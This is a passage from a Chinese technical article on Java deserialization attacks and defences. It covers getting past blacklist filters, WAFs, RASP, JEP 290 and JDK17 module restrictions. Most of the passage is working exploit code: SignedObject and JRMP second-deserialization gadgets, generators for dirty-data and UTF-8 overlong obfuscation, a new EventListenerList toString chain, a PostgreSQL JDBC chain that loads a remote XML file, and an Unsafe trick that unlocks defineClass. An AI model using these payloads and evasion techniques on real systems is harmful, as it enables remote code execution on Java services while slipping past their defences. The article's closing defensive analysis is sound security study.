pringframework.beans.factory.ObjectFactory$org.springframework.core.SerializableTypeWrapper\$MethodInvokeTypeProvider$org.springframework.aop.framework.AdvisedSupport$org.springframework.aop.target.SingletonTargetSource$org.springframework.aop.framework.JdkDynamicAopProxy$org.springframework.core.SerializableTypeWrapper\$TypeProvider$java.util.PriorityQueue$java.lang.reflect.Proxy$javax.management.MBeanServerInvocationHandler$javax.management.openmbean.CompositeDataInvocationHandler$org.springframework.aop.framework.JdkDynamicAopProxy$java.beans.EventHandler$java.util.Comparator$org.reflections.Reflections$.
由于SerialKiller已经长期没有更新了,所以默认提供的黑白名单规则不存在一些比较新的利用链,比较Fastjson利用如下图,可以正常利用。
另外常用的方法还有通过二次反序列化的方式进行绕过,比如JRMP或者SignedObject等二次反序列化的方式。
java.security.SignedObject#getObject
publicObjectgetObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b = new ByteArrayInputStream(this.content);ObjectInput a = new ObjectInputStream(b);Object obj = a.readObject();b.close();a.close();return obj;}
在getObject方法中,存在一个反序列化方法,如果黑名单中存在templatesimpl或其他核心类,可以通过新的getter利用链触发getObject实现二次反序列化,比如帆软之前反序列化绕过的漏洞就是如此,从FASTJSON触发getter到SignedObject#getObject实现ObjectInputStream二次反序列化,逃离了黑名单限制。
@OverridepublicObjectgetObject(String command)throwsException {KeyPairGeneratorkpg=KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPairkp=kpg.generateKeyPair();Serializableserializeable=(Serializable)newFrHibernate().getObject("xxx");SignedObjectsignedObject=newSignedObject(serializeable, kp.getPrivate(), Signature.getInstance("DSA"));ArrayList arrayList =newArrayList<>();arrayList.add(signedObject);JSONArrayjsonArray=newJSONArray(arrayList);InvokerTransformertransformer=newInvokerTransformer("size",null,null);TransformingComparatortransformingComparator=newTransformingComparator(transformer);TreeBagtreeBag=newTreeBag(transformingComparator);Fieldmap=treeBag.getClass().getSuperclass().getDeclaredField("map");map.setAccessible(true);TreeMaptreeMap=(TreeMap) map.get(treeBag);treeBag.add(jsonArray);Fieldcomparator=treeMap.getClass().getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(treeMap,newSerialableLocalCollator(null));returntreeBag;}
JRMP的方式也可以触发二次反序列化,缺点是需要出网,找一个不在黑名单的DGCImpl_Stub就绕过了SerialKiller。
publicObjectgetObject(finalString command )throwsException {String host;intport;intsep=command.indexOf(':');if( sep <0) {port =newRandom().nextInt(65535);host = command;}else{host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep +1));}ObjIDid=newObjID(newRandom().nextInt());// RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));sun.rmi.transport.DGCImpl_Stub stub = new sun.rmi.transport.DGCImpl_Stub(ref);return stub;}
流量检测对抗
WAF在防御Java反序列化漏洞中主要通过实时检测和拦截恶意请求发挥作用。针对反序列化漏洞,WAF会通过预定义规则识别序列化数据中的危险特征(如异常类名、方法调用链),阻断攻击流量。利用大包绕过WAF是目前很常用的一个绕过WAF的方案。WAF为了降低负载可能对请求大小有限制,超出限制的请求可能被直接放行或部分处理,导致恶意内容未被检测到,这里一种绕过方案。另外的绕过方案主要是想办法编码序列化数据中的特征类名或者是使用非常见的利用链尝试。
TC_RESET
在分析中提到了,JAVA在反序列化时遇到TC_RESET会清除内部数据结构,利用这个特点可以在反序列化中插入大量的无用TC_RESET形成一个大包,具体代码如下。
intinsertPosition =4;intnumberOf79s = dirtyDataLength;byte[] dataToInsert =newbyte[numberOf79s];for(inti =0; i < numberOf79s; i++) {dataToInsert[i] = (byte)0x79;}byte[] dirtySerialicationData =newbyte[serialicationData.length + numberOf79s];System.arraycopy(serialicationData,0, dirtySerialicationData,0, insertPosition);System.arraycopy(dataToInsert,0, dirtySerialicationData, insertPosition, dataToInsert.length);System.arraycopy(serialicationData, insertPosition, dirtySerialicationData, insertPosition + dataToInsert.length, serialicationData.length - insertPosition);returndirtySerialicationData;
MAP
原理是用集合类型,里面同时存在gadget和大量的脏数据填充大小,最后gadget也能够正常的被反序列化。
importjava.util.;publicclassDirtyDataWrapper{privateintdirtyDataSize; //脏数据大小private String dirtyData; //脏数据内容private Object gadget; // ysoserila gadget对象public DirtyDataWrapper(Object gadget,intdirtyDataSize){this.gadget = gadget;this.dirtyDataSize = dirtyDataSize;}/ 将脏数据和gadget对象存到集合对象中 @return一个包裹脏数据和gadget对象可序列化对象/public Object doWrap(){Object wrapper = null;dirtyData = getLongString(dirtyDataSize);inttype= (int)(Math.random() 10) %10+1;switch (type){case0:List arrayList = new ArrayList();arrayList.add(dirtyData);arrayList.add(gadget);wrapper = arrayList;break;case1:List linkedList = new LinkedList();linkedList.add(dirtyData);linkedList.add(gadget);wrapper = linkedList;break;case2:HashMapmap= new HashMap();map.put("a",dirtyData);map.put("b",gadget);wrapper =map;break;case3:LinkedHashMap linkedHashMap = new LinkedHashMap();linkedHashMap.put("a",dirtyData);linkedHashMap.put("b",gadget);wrapper = linkedHashMap;break;default:case4:TreeMap treeMap = new TreeMap();treeMap.put("a",dirtyData);treeMap.put("b",gadget);wrapper = treeMap;break;}returnwrapper;}/ 生产随机字符串 @param length 随机字符串长度 @return随机字符串*/public static String getLongString(intlength){Stringstr="";for(inti=0;i<length;i++){str+="x";}returnstr;}// 测试public static void main(String[] args) throws Exception{// Object cc6 = new CommonsCollections6().getObject("raw_cmd:nslookup xxx.dnslog.cn");// DirtyDataWrapper dirtyDataFactory = new DirtyDataWrapper(cc6,100);// ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/tmp/cc6.ser"));// objectOutputStream.writeObject(dirtyDataFactory.doWrap());// objectOutputStream.flush();// objectOutputStream.close();}}
UTF8 Overlong Encoding
UTF-8 Overlong 是一种利用UTF-8编码变长特性的攻击手法,通过故意使用超过必要字节长度的编码形式(例如用多字节表示本应单字节的ASCII字符),可能使得字符不可见。以下是生成脚本,使用ObjectOutputStreamWithOverlongEncoding生成序列化的数据。
importjava.io.;importjava.lang.reflect.Method;importjava.nio.charset.StandardCharsets;publicclassObjectOutputStreamWithOverlongEncodingextendsObjectOutputStream{publicstaticbyte[] convertInt(inti) {byteb1=(byte) (((i >>6) &0b11111) |0b11000000);byteb2=(byte) ((i &0b111111) |0b10000000);returnnewbyte[]{b1, b2};}publicstaticbyte[] convertStr(String s) {byte[] encodedBytes = s.getBytes(StandardCharsets.UTF_8);byte[] result =newbyte[0];for(byteb : encodedBytes) {byte[] converted = convertInt(b &0xFF);result = concatenateArrays(result, converted);}returnresult;}privatestaticbyte[] concatenateArrays(byte[] a,byte[] b) {byte[] result =newbyte[a.length + b.length];System.arraycopy(a,0, result,0, a.length);System.arraycopy(b,0, result, a.length, b.length);returnresult;}publicstaticbyte[] convertBytes(byte[] inputBytes) {byte[] bs =newbyte[0];for(bytech : inputBytes) {byte[] converted = convertInt(ch);byte[] newBs =newbyte[bs.length + converted.length];System.arraycopy(bs,0, newBs,0, bs.length);System.arraycopy(converted,0, newBs, bs.length, converted.length);bs = newBs;}returnbs;}publicObjectOutputStreamWithOverlongEncoding(OutputStream out)throwsIOException {super(out);}@OverrideprotectedvoidwriteClassDescriptor(ObjectStreamClass desc)throwsIOException {this.writeShort(desc.getName().length()2);this.write(convertStr(desc.getName()));this.writeLong(desc.getSerialVersionUID());byteflags=0;try{if((boolean) Reflections.getFieldValue(desc,"externalizable")) {flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;intprotocol=(int) Reflections.getFieldValue(this,"protocol");if(protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {flags |= ObjectStreamConstants.SC_BLOCK_DATA;}}elseif((boolean) Reflections.getFieldValue(desc,"serializable")) {flags |= ObjectStreamConstants.SC_SERIALIZABLE;}if((boolean) Reflections.getFieldValue(desc,"hasWriteObjectData")) {flags |= ObjectStreamConstants.SC_WRITE_METHOD;}if((boolean) Reflections.getFieldValue(desc,"isEnum")) {flags |= ObjectStreamConstants.SC_ENUM;}this.writeByte(flags);ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc,"fields");this.writeShort(fields.length);Objecthandles=Reflections.getFieldValue(this,"handles");Methodlookup=handles.getClass().getDeclaredMethod("lookup", Object.class);lookup.setAccessible(true);Methodassign=handles.getClass().getDeclaredMethod("assign", Object.class);assign.setAccessible(true);for(inti=0; i < fields.length; i++) {ObjectStreamFieldf=fields[i];this.writeByte(f.getTypeCode());this.writeShort(f.getName().length()2);this.write(convertStr(f.getName()));if(!f.isPrimitive()) {inthandle;if(f.getTypeString() ==null) {this.writeByte(TC_NULL);}elseif((handle = (int) lookup.invoke(handles, f.getTypeString())) != -1) {this.writeByte(TC_REFERENCE);this.writeInt(baseWireHandle + handle);}else{assign.invoke(handles, f.getTypeString());longutflen=f.getTypeString().length();if(utflen <=0xFFFF) {this.writeByte(TC_STRING);this.writeShort(f.getTypeString().length() 2);this.write(convertStr(f.getTypeString()));}else{this.writeByte(TC_LONGSTRING);this.writeShort(f.getTypeString().length() *2);this.write(convertStr(f.getTypeString()));}}}}}catch(Exception e) {thrownewRuntimeException(e);}}}
RASP检测对抗
为了应对层出不穷的反序列化漏洞以及各种新型的Gadget,越来越多的防御方开始使用 RASP 技术来进行攻击对抗。在Java语言中,使用 Java Agent技术在应用程序运行时候动态修改类字节码,对具有反序列化能力的函数进行插桩,植入安全检测代码。当攻击者使用反序列化漏洞进行攻击时,RASP 就会检测反序列化生产的对象是不是属于恶意类名产生的,这块的检测方式和JEP290提供的全局过滤器机制是类似的。以 Java 原生序列化为例,对java.io.ObjectInputStream#resolveClass进行插桩。
安全检测会联合多个插桩点进行综合性判断,当程序出现命令执行、内存马加载等行为时,会关联程序执行的上下文信息来看这些操作是不是反序列化漏洞引起的,从而做到未知反序列化漏洞的防御。随着攻防对抗的加剧,攻击者也会引入一些新的手法来对抗RASP的检测,比较有代表性的绕过方式就是线程注入。利用反序列化漏洞的代码执行能力,创建新的线程使得当前的检测丢失一些上下文信息,最终导致绕过。
JDK限制对抗
除了安全设备对JAVA反序列化做限制,高版本JDK自身也对JAVA反序列化做了一定的限制。
JEP290
JEP 290是Java平台针对反序列化漏洞设计的关键安全机制,其核心目标是通过动态过滤机制阻止恶意类在反序列化过程中被实例化,从而防御远程代码执行。它允许开发者通过可配置的规则,例如禁止反序列化高危类,同时支持全局或局部过滤器配置,有效拦截攻击者构造的恶意序列化数据。
JEP 290在ObjectInputStream中引入了ObjectInputFilter接口,反序列化时会逐层检查待加载的类,若类名匹配黑名单或超出资源限制则直接阻断;支持通过ObjectInputStream.setObjectInputFilter动态设置过滤器、结合JVM参数jdk.serialFilter实现全局管控。该机制从JDK 9默认启用,并通过向后移植至JDK 6/7/8的更新版本。简单说就是JDK 通过 ObjectInputFilter 接口开放了配置能力,允许开发者或运维人员通过代码或 JVM 参数定义反序列化规则,但是JDK默认没有配置ObjectInputFilter,只在部分组件中默认配置了,比如RMI。所以目前网上大部分绕过JEP290,其实就是指的绕过RMI默认的过滤规则。
测试版本8u141,在启动RMI Registry时,使用了RegistryImpl::registryFilter进行限制。
publicRegistryImpl(finalintvar1)throwsRemoteException {this.bindings =newHashtable(101);if(var1 ==1099&& System.getSecurityManager() !=null) {try{AccessController.doPrivileged(newPrivilegedExceptionAction() {publicVoidrun()throwsRemoteException {LiveRefvar1x=newLiveRef(RegistryImpl.id, var1);RegistryImpl.this.setup(newUnicastServerRef(var1x, (var0) -> {returnRegistryImpl.registryFilter(var0);}));returnnull;}}, (AccessControlContext)null,newSocketPermission("localhost:"+ var1,"listen,accept"));}catch(PrivilegedActionException var3) {throw(RemoteException)var3.getException();}}else{LiveRefvar2=newLiveRef(id, var1);this.setup(newUnicastServerRef(var2, RegistryImpl::registryFilter));}}
RMI配置ObjectFilter肯定不是通过配置的JVM参数,在派发请求的方法中调用了unmarshalCustomCallData方法,
privatevoidoldDispatch(Remote var1, RemoteCall var2,intvar3)throwsException {ObjectInputvar6=var2.getInputStream();try{Classvar7=Class.forName("sun.rmi.transport.DGCImpl_Skel");if(var7.isAssignableFrom(this.skel.getClass())) {((MarshalInputStream)var6).useCodebaseOnly();}}catch(ClassNotFoundException var9) {}longvar4;try{var4 = var6.readLong();}catch(Exception var8) {thrownewUnmarshalException("error unmarshalling call header", var8);}this.logCall(var1,this.skel.getOperations()[var3]);this.unmarshalCustomCallData(var6);this.skel.dispatch(var1, var2, var3, var4);}
unmarshalCustomCallData方法中通过setObjectInputFilter方法,设置了反序列化过滤器,
protectedvoidunmarshalCustomCallData(ObjectInput var1)throwsIOException, ClassNotFoundException {if(this.filter !=null&& var1instanceofObjectInputStream) {finalObjectInputStreamvar2=(ObjectInputStream)var1;AccessController.doPrivileged(newPrivilegedAction() {publicVoidrun(){Config.setObjectInputFilter(var2, UnicastServerRef.this.filter);returnnull;}});}}
sun.rmi.registry.RegistryImpl#registryFilter 过滤器的具体规则如下:
privatestatic ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {if(registryFilter !=null) {ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);if(var1 != Status.UNDECIDED) {returnvar1;}}if(var0.depth() >20L) {returnStatus.REJECTED;}else{Class var2 = var0.serialClass();if(var2 ==null) {returnStatus.UNDECIDED;}else{if(var2.isArray()) {if(var0.arrayLength() >=0L&& var0.arrayLength() >10000L) {returnStatus.REJECTED;}do{var2 = var2.getComponentType();}while(var2.isArray());}if(var2.isPrimitive()) {returnStatus.ALLOWED;}else{returnString.class!= var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;}}}}
在registryFilter做了白名单限制,其中允许反序列化sun.rmi.server.UnicastRef。
sun.rmi.server.UnicastRef 是 RMI用于表示远程对象的引用,负责处理客户端与服务器之间的远程调用。
sun.rmi.server.UnicastRef#readExternal
publicvoidreadExternal(ObjectInput var1) throws IOException, ClassNotFoundException{this.ref= LiveRef.read(var1,false);}
publicstaticLiveRefread(ObjectInput var0,booleanvar1)throwsIOException, ClassNotFoundException {TCPEndpoint var2;if(var1) {var2 = TCPEndpoint.read(var0);}else{var2 = TCPEndpoint.readHostPortFormat(var0);}ObjIDvar3=ObjID.read(var0);booleanvar4=var0.readBoolean();LiveRefvar5=newLiveRef(var3, var2,false);if(var0instanceofConnectionInputStream) {ConnectionInputStreamvar6=(ConnectionInputStream)var0;var6.saveRef(var5);if(var4) {var6.setAckNeeded();}}else{DGCClient.registerRefs(var2, Arrays.asList(var5));}returnvar5;}
在read方法中,先解析到HOST和PORT获取到地址,然后覆盖了incomingRefTable。
voidsaveRef(LiveRef var1) {Endpointvar2 = var1.getEndpoint();Objectvar3 = (List)this.incomingRefTable.get(var2);if(var3 ==null) {var3 =newArrayList();this.incomingRefTable.put(var2, var3);}((List)var3).add(var1);}
覆盖该属性后会影响DGC。
publicvoid releaseInputStream() throws IOException {try{if(this.in!=null) {try{this.in.done();}catch(RuntimeException var5) {}this.in.registerRefs();this.in.done(this.conn);}this.conn.releaseInputStream();}finally{this.in=null;}}
DGC时,incomingRefTable被覆盖成了新的地址。
makeDirtyCall方法中,会发起DGC RemoteCall,自然也就会触发反序列化。因为JEP290只作用于注册中心中,所以当直接攻击服务端、客户端时不受影响。dirty方法中会向RefTable地址发起请求。
privatevoidmakeDirtyCall(Set var1,longvar2){assert!Thread.holdsLock(this);ObjID[] var4;if(var1 !=null) {var4 = createObjIDArray(var1);}else{var4 = DGCClient.emptyObjIDArray;}longvar5=System.currentTimeMillis();longvar8;longvar12;try{Leasevar20=this.dgc.dirty(var4, var2,newLease(DGCClient.vmid, DGCClient.leaseValue));
publicLeasedirty(ObjID[] var1,longvar2, Lease var4)throwsRemoteException {try{RemoteCallvar5=this.ref.newCall(this, operations,1, -669196253586618813L);try{ObjectOutputvar6=var5.getOutputStream();var6.writeObject(var1);var6.writeLong(var2);var6.writeObject(var4);}catch(IOException var17) {thrownewMarshalException("error marshalling arguments", var17);}this.ref.invoke(var5);
利用代码如下,生成UnicastRef发送给RMI注册中心进行反序列化,DGC时会远程服务器发起请求然后反序列化结果。
privatestaticUnicastRefgenerateUnicastRef(Stringhost, int port){ObjIDid =newObjID(newRandom().nextInt());// RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef unicastRef = new UnicastRef(new LiveRef(id, te, false));return unicastRef;}
BadAttributeValueExpException
BadAttributeValueExpException是ysoserial中很常用的一个到toString的类,jdk8代码如下,很明显的toString,但是也受到Security Manager的限制。
privatevoidreadObject(ObjectInputStream ois)throwsIOException, ClassNotFoundException {ObjectInputStream.GetFieldgf=ois.readFields();ObjectvalObj=gf.get("val",null);if(valObj ==null) {val =null;}elseif(valObjinstanceofString) {val= valObj;}elseif(System.getSecurityManager() ==null|| valObjinstanceofLong|| valObjinstanceofInteger|| valObjinstanceofFloat|| valObjinstanceofDouble|| valObjinstanceofByte|| valObjinstanceofShort|| valObjinstanceofBoolean) {val = valObj.toString();}else{// the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}
在jdk17下,直接移除了toString方法,
privatevoidreadObject(ObjectInputStream ois)throwsIOException, ClassNotFoundException {ObjectInputStream.GetFieldgf=ois.readFields();ObjectvalObj=gf.get("val",null);if(valObjinstanceofString || valObj ==null) {val = (String)valObj;}else{// the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}
所以需要一个新的toString链,
在javax.swing.event.EventListenerList#readObject中,
privatevoidreadObject(ObjectInputStream s)throwsIOException, ClassNotFoundException {listenerList = NULL_ARRAY;s.defaultReadObject();Object listenerTypeOrNull;while(null!= (listenerTypeOrNull = s.readObject())) {ClassLoadercl=Thread.currentThread().getContextClassLoader();EventListenerl=(EventListener)s.readObject();Stringname=(String) listenerTypeOrNull;ReflectUtil.checkPackageAccess(name);add((Class)Class.forName(name,true, cl), l);}}
反序列化出对象和会调用add方法,
publicsynchronized voidadd(Class t, T l) {if(l==null) {// In an ideal world, we would do an assertion here// to help developers know they are probably doing// something wrongreturn;}if (!t.isInstance(l)) {throw new IllegalArgumentException("Listener " + l +" is not of type " + t);}
在add方法中,如果l对象不是t类的实例,就会抛出异常,这里字符串拼接了对象l会自动化的调用toString方法,因为有类型转换这里的l只能是实现了EventListener接口的类。
UndoableEditListener extends java.util.EventListener
publicclassUndoManagerextendsCompoundEditimplementsUndoableEditListener{publicStringtoString() {returnsuper.toString() +" limit: "+ limit +" indexOfNextAdd: "+ indexOfNextAdd;}}
UndoManager#toString方法调用了父类CompoundEdit的toString方法,toString方法中 字符串拼接了edits属性,edits是Vector类型,这里又会触发Vector的toString方法。
publicclassCompoundEditextendsAbstractUndoableEdit{protectedVector edits;publicStringtoString(){returnsuper.toString()+" inProgress: "+ inProgress+" edits: "+ edits;}}
Vector的toString方法依旧调用的是父类的toString方法,
publicclassVectorextendsAbstractListimplementsList,RandomAccess,Cloneable, java.io.Serializable{publicsynchronizedStringtoString() {returnsuper.toString();}}
AbstractList没有toString方法,所以最终会调用到AbstractList到父类AbstractCollection到toString方法,
publicabstractclassAbstractCollectionimplementsCollection {publicStringtoString(){Iterator it = iterator();if(! it.hasNext())return"[]";StringBuilder sb =newStringBuilder();sb.append('[');for(;;) {E e = it.next();sb.append(e ==this?"(this Collection)": e);if(! it.hasNext())returnsb.append(']').toString();sb.append(',').append(' ');}}}
在AbstractCollection#toString方法中,会遍历集合然后调用了StringBuilder#append方法,所以这时候会触发集合中元素的toString方法。这时候我们将恶意对象放到Vector中,就会触发到恶意对象的toString方法了。
测试代码如下:
importjavax.swing.event.EventListenerList;importjavax.swing.undo.UndoManager;importjava.io.*;importjava.lang.reflect.Field;importjava.util.Map;importjava.util.Vector;publicclassTest4implementsSerializable{publicstaticvoidmain(String[] args)throwsClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {EventListenerListeventListenerList=newEventListenerList();UndoManagermanager=newUndoManager();Fieldf=manager.getClass().getSuperclass().getDeclaredField("edits");f.setAccessible(true);Vectorvector=(Vector) f.get(manager);vector.add(newTest4());f = eventListenerList.getClass().getDeclaredField("listenerList");f.setAccessible(true);f.set(eventListenerList,newObject[] { Map.class, manager });ByteArrayOutputStreambaos=newByteArrayOutputStream();ObjectOutputStreamobjectOutputStream=newObjectOutputStream(baos);objectOutputStream.writeObject(eventListenerList);objectOutputStream.close();ByteArrayInputStreambais=newByteArrayInputStream(baos.toByteArray());ObjectInputStreamobjectInputStream=newObjectInputStream(bais);objectInputStream.readObject();}@OverridepublicStringtoString(){System.out.println("call Test4 toString");returnsuper.toString();}}
Templatesimpl限制
前面提到了基本所有的getter利用链最后都会用到Templatesimpl实现代码执行,不过Templatesimpl实际也存在着一些限制。
privatevoidreadObject(ObjectInputStream is)throwsIOException, ClassNotFoundException{SecurityManagersecurity=System.getSecurityManager();if(security !=null){Stringtemp=SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);if(temp ==null|| !(temp.length()==0|| temp.equalsIgnoreCase("true"))) {ErrorMsgerr=newErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);thrownewUnsupportedOperationException(err.toString());}}
如果目标开启了Security Manager,如果没有设置jdk.xml.enableTemplatesImplDeserialization属性为true,就会抛出异常,随着对安全性的重视越来越多的公司会开启Security Manager,可能他们并不是为了Templatesimpl配置的Security Manager,但是只要打开了就会限制到Templatesimpl。
从JDK9开始,JAVA引入了JPMS模块化系统。在JDK 9至JDK 16中,对java.依赖包下的非公共字段和方法进行反射调用时,会触发非法反射访问警告。最开始调用时只是抛出一个Warning,但是依然能够执行,然而,从JDK 17开始,Java引入了强封装机制,默认禁止此类反射操作,任何尝试访问java.非公共字段和方法的代码都将抛出InaccessibleObjectException异常。
com.sun.org.apache.xalan.internal.xsltc.trax是java.xml模块中的一个内部包,但它没有被显式exports给其他模块。所以利用链无法访问到templatesimpl,所以getter的利用链从这个版本开始就不再能够轻松的执行代码了。
目前getter利用链为了解决这个问题,常用的绕过方法主要是通过getter->getConnection->JDBC Attack,至于JDBC Attack每个JDBC Driver具体的攻击原理就不在这里做多介绍。
每个JDBC Driver通常都有自己都getConnection方法,通过getter加载到getConnection然后控制JDBC连接字符串实现攻击。
@OverridepublicObjectgetObject(String command)throws Exception{PGSimpleDataSource dataSource =newPGSimpleDataSource();dataSource.setUrl("jdbc:postgresql://localhost:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://localhost:9999/a.xml");finalBeanComparator comparator =newBeanComparator(null, String.CASE_INSENSITIVE_ORDER);finalPriorityQueue queue =newPriorityQueue(2, comparator);queue.add("1");queue.add("1");Reflections.setFieldValue(comparator,"property","connection");finalObject[] queueArray = (Object[]) Reflections.getFieldValue(queue,"queue");queueArray[0] = dataSource;queueArray[1] = dataSource;returnqueue;}
defineClass限制
通过漏洞实现代码执行后,通常还会需要DefineClass加载字节码生成类后实例化中内存马等。
同样因为JPMS的原因,导致了高版本JDK无法调用到java.lang.ClassLoader#defineClass方法,这时候需要绕过。
在JDK17中,exports、open了sun.misc,sun.misc.Unsafe移除了defineClass和defineAnonymousClass ,但是保留了getAndSetObject等方法。
modulejdk.unsupported{exportscom.sun.nio.file;exportssun.misc;exportssun.reflect;opens sun.misc;opens sun.reflect;}
如果是通过sun.misc.Unsafe#getUnsafe方法获取unsafe,会判断调用类的classloader是不是system classloader。因为opens sun.misc,所以可以直接通过反射获取私有属性。
privatestaticfinalUnsafetheUnsafe=newUnsafe();@CallerSensitivepublicstaticUnsafegetUnsafe(){Class<?> caller = Reflection.getCallerClass();if(!VM.isSystemDomainLoader(caller.getClassLoader()))thrownewSecurityException("Unsafe");returntheUnsafe;}
@Override@CallerSensitivepublicvoidsetAccessible(booleanflag) {AccessibleObject.checkPermission();if(flag)checkCanSetAccessible(Reflection.getCallerClass());setAccessible0(flag);}
java.lang.reflect.AccessibleObject#checkCanSetAccessible
private boolean checkCanSetAccessible(Class<?>caller,Class<?> declaringClass,boolean throwExceptionIfDenied) {if(caller== MethodHandle.class) {throw new IllegalCallerException(); // should not happen}Module callerModule = caller.getModule();Module declaringModule = declaringClass.getModule();if(callerModule == declaringModule)returntrue;if(callerModule == Object.class.getModule())returntrue;if(!declaringModule.isNamed())returntrue;String pn = declaringClass.getPackageName();int modifiers;if(this instanceof Executable) {modifiers = ((Executable) this).getModifiers();} else {modifiers = ((Field) this).getModifiers();}// class is public and package is exported to callerboolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());if(isClassPublic && declaringModule.isExported(pn, callerModule)) {// member is publicif(Modifier.isPublic(modifiers)) {returntrue;}// member is protected-staticif(Modifier.isProtected(modifiers)&& Modifier.isStatic(modifiers)&& isSubclassOf(caller, declaringClass)) {returntrue;}}// package is open tocallerif(declaringModule.isOpen(pn, callerModule)) {returntrue;}if(throwExceptionIfDenied) {// not accessibleString msg ="Unable to make ";if(this instanceof Field)msg +="field ";msg += this +" accessible: "+ declaringModule +" does not \"";if(isClassPublic && Modifier.isPublic(modifiers))msg +="exports";elsemsg +="opens";msg +=" "+ pn +"\" to "+ callerModule;InaccessibleObjectException e = new InaccessibleObjectException(msg);if(printStackTraceWhenAccessFails()) {e.printStackTrace(System.err);}throw e;}returnfalse;}
在checkCanSetAccessible方法中,可以发现如果调用者类和目标类是属于同一个module,或者调用者类和Object的module一致就可以访问。通过unsafe修改当前类的module和Object的module一致实现绕过。
unsafe的getAndSetObject 是 Java 中 Unsafe 类提供的一个底层原子操作方法,用于在多线程环境下安全地替换对象字段或数组元素的引用值,这里将module替换为Object module。
import sun.misc.Unsafe;publicclassTest2{publicstaticvoidmain(String[] args) throws Exception{Class clazz = Class.forName("sun.misc.Unsafe");java.lang.reflect.Field f = clazz.getDeclaredField("theUnsafe");f.setAccessible(true);Unsafeunsafe= (Unsafe)f.get(null);Module objectModule = Object.class.getModule();longmoduleOffset =unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));unsafe.getAndSetObject(Test2.class, moduleOffset, objectModule);java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class,int.class,int.class);method.setAccessible(true);System.out.println(method);}}
成功setAccessible了defineClass。
总结
纵观近十年Java反序列化漏洞攻防对抗的演进历程,我们可以梳理出两条清晰的对抗脉络:攻击路径的演变呈现出两个显著特征:其一是攻击面的持续扩展,攻击者从传统Java原生序列化协议逐步渗透至JSON、XML、AMF等异构数据格式,并针对RMI、HTTP、JMX等多维协议载体展开利用;其二则体现在利用链的持续进化,在主流Gadget被补丁封堵后,攻击者通过二次反序列化漏洞复用历史链,或挖掘第三方库中的新调用路径持续拓展攻击矩阵。防御体系的升级则经历了三个阶段的迭代:初期通过维护动态黑名单进行危险类检测,中期转向流量特征分析与异常反序列化操作监控,直至JDK层面引入JEP 290 等系统性防御机制。然而实践表明,任何基于特征匹配的防御策略都存在滞后性,唯有在软件开发阶段采用安全的反序列化实践(如白名单校验、替代序列化方案),才能从根本上规避漏洞风险。
当前对抗态势中,RASP技术展现出独特的防御价值。通过动态分析应用层的上下文调用链,结合应用行为动作,RASP能够有效阻断未知Gadget的利用尝试。这种基于行为特征的纵深防御体系,为应对持续涌现的新型反序列化攻击提供了更具弹性的解决方案。
参考链接
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://github.com/mbechler/marshalsec
https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/
https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/
https://www.anquanke.com/post/id/234537
https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/
https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
https://landgrey.me/blog/22/
https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/